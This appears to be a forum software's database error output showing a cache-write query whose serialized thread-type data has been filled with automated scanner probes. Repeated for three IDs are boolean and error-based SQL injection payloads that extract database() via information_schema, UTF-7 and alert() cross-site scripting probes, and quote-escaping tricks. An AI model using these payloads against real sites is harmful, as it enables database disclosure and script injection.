(0) It is not safe to do this query
REPLACE INTO common_cache SET `cachekey`='threadclasscount_157' , `cachevalue`='a:1:{s:6:\"typeid\";a:58:{i:160;s:1:\"4\";i:158;s:2:\"10\";i:159;s:2:\"23\";i:164;s:2:\"35\";s:4:\"160 \";s:1:\"4\";s:11:\"160 and 3=3\";s:1:\"4\";s:11:\"160 and 3=4\";s:1:\"4\";s:27:\"160\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'a\";s:1:\"4\";s:27:\"160\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'b\";s:1:\"4\";s:35:\"160%\\\\\\\' and 3=3 and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:1:\"4\";s:238:\"160 and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1\";s:1:\"4\";s:254:\"160\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'1\\\\\\\'=\\\\\\\'1\";s:1:\"4\";s:254:\"160%\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:1:\"4\";s:49:\"160+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-\";s:1:\"4\";s:7:\"160\\\\\\\'\";s:1:\"4\";s:6:\"160%27\";s:1:\"4\";s:10:\"160\\\\0\\\\\\\'\";s:1:\"4\";s:11:\"160\\\\\\\\\\\\\\\'\";s:1:\"4\";s:7:\"160JyI=\";s:1:\"4\";s:8:\"160縗\\\\\'\";s:1:\"4\";s:4:\"160/\";s:1:\"4\";s:15:\"160alert(42873)\";s:1:\"4\";s:4:\"164 \";s:2:\"14\";s:11:\"164 and 3=3\";s:2:\"14\";s:11:\"164 and 3=4\";s:2:\"14\";s:27:\"164\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'a\";s:2:\"14\";s:27:\"164\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'b\";s:2:\"14\";s:35:\"164%\\\\\\\' and 3=3 and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:2:\"14\";s:238:\"164 and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1\";s:2:\"14\";s:254:\"164\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'1\\\\\\\'=\\\\\\\'1\";s:2:\"14\";s:254:\"164%\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:2:\"14\";s:49:\"164+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-\";s:2:\"14\";s:7:\"164\\\\\\\'\";s:2:\"14\";s:6:\"164%27\";s:2:\"14\";s:10:\"164\\\\0\\\\\\\'\";s:2:\"14\";s:11:\"164\\\\\\\\\\\\\\\'\";s:2:\"14\";s:7:\"164JyI=\";s:2:\"14\";s:8:\"164縗\\\\\'\";s:2:\"14\";s:4:\"164/\";s:2:\"14\";s:15:\"164alert(42873)\";s:2:\"14\";s:4:\"159 \";s:2:\"11\";s:11:\"159 and 3=3\";s:2:\"11\";s:11:\"159 and 3=4\";s:2:\"11\";s:27:\"159\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'a\";s:2:\"11\";s:27:\"159\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'b\";s:2:\"11\";s:35:\"159%\\\\\\\' and 3=3 and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:2:\"11\";s:238:\"159 and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1\";s:2:\"11\";s:254:\"159\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'1\\\\\\\'=\\\\\\\'1\";s:2:\"11\";s:254:\"159%\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:2:\"11\";s:49:\"159+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-\";s:2:\"11\";s:7:\"159\\\\\\\'\";s:2:\"11\";s:6:\"159%27\";s:2:\"11\";s:10:\"159\\\\0\\\\\\\'\";s:2:\"11\";s:11:\"159\\\\\\\\\\\\\\\'\";s:2:\"11\";s:7:\"159JyI=\";s:2:\"11\";s:8:\"159縗\\\\\'\";s:2:\"11\";s:4:\"159/\";s:2:\"11\";s:15:\"159alert(42873)\";s:2:\"11\";}}'